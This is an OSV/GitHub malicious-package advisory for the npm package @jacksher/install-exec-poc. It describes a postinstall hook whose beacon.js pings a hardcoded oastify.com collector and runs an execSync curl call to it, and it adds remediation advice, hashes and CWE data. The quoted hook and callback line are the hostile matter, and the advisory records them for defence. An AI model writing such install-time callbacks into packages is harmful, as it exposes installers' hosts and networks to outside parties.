MAL-2026-13972

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@jacksher/install-exec-poc/MAL-2026-13972.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-13972
Aliases
  • GHSA-4fj2-wwv5-x646
Published
2026-08-13T21:13:25Z
Modified
2026-09-09T03:00:04Z
Summary
Malicious code in @jacksher/install-exec-poc (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (d2551a4d2336e3a5279c44673c1a18dbcebc62268773ee324c8a8e7bb8828423)

package.json declares postinstall: node beacon.js. On every npm install, beacon.js unconditionally performs a DNS lookup, an HTTPS GET to https://jobzq12beck611luewfsf8yyepkg86wv.oastify.com/postinstall-fired, and child_process.execSync('curl -s https://<same-host>/ci', {stdio:'ignore'}) against the same hardcoded oastify.com (Burp Collaborator) subdomain. The callback fires unconditionally at install time, causing the installer's machine to emit out-of-band DNS and HTTP traffic to an attacker-controlled OAST collector, disclosing the installer's public IP and resolver metadata. The use of execSync to shell out to curl at postinstall also establishes an install-time shell-to-network primitive on the installer's host. The package name (install-exec-poc) self-labels as a proof-of-concept, but the behavior fires on any consumer who installs the package.

Source: ghsa-malware (caa684a4567ab875a6aa6b04ebcae5284216bf73bb459e762cd9cf6b69f149a1)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-017705",
            "import_time": "2026-08-13T21:20:58.43423399Z",
            "modified_time": "2026-08-13T21:13:25Z",
            "sha256": "d2551a4d2336e3a5279c44673c1a18dbcebc62268773ee324c8a8e7bb8828423",
            "source": "amazon-inspector",
            "versions": [
                "1.0.2"
            ]
        },
        {
            "id": "IN-MAL-2026-017706",
            "import_time": "2026-08-13T21:20:58.47031657Z",
            "modified_time": "2026-08-13T21:13:36Z",
            "sha256": "f68ecfc27a1195ccbd2e11a25ccc31380f36dfd4251ae145d8ab3b3c10c7189f",
            "source": "amazon-inspector",
            "versions": [
                "1.0.0"
            ]
        },
        {
            "id": "GHSA-4fj2-wwv5-x646",
            "import_time": "2026-09-08T00:15:10.073332853Z",
            "modified_time": "2026-09-07T16:37:50Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "sha256": "caa684a4567ab875a6aa6b04ebcae5284216bf73bb459e762cd9cf6b69f149a1",
            "source": "ghsa-malware"
        },
        {
            "id": "IN-MAL-2026-019760",
            "import_time": "2026-09-09T02:44:23.556079087Z",
            "modified_time": "2026-09-09T02:41:53Z",
            "sha256": "3c05e81ed4c080d2a98632ad4d09dd8e20ffda16119fc77a126aba3ed35b9a7d",
            "source": "amazon-inspector",
            "versions": [
                "1.0.3"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / @jacksher/install-exec-poc

Package

Name
@jacksher/install-exec-poc
View open source insights on deps.dev
Purl
pkg:npm/%40jacksher/install-exec-poc

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.0
1.0.2
1.0.3

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "beacon.js",
            "sha256": "b43d463c3a1ee5c97499f0054d549696680a34d8abab0f8bee20bb505a319d1d",
            "tlsh": "6ee02bfa47c8c7bd7a6050d0bbe50d3e6413c21447c01594a1a611631ac23ab29718b9"
        }
    ],
    "package_integrity": [
        {
            "filename": "install-exec-poc-1.0.2.tgz",
            "hashes": {
                "sha1": "c4157f00fd4dcf527e6008ac16a486e6c586149e",
                "sha512_sri": "sha512-811239AXkg28HHtq5MFVvtL79SFQMowmXeVqZJL35wWESlVoWB2EWAYfi8JPaZ/4MEiLkwLLhyHiHGnzocNXoQ=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@jacksher/install-exec-poc/MAL-2026-13972.json"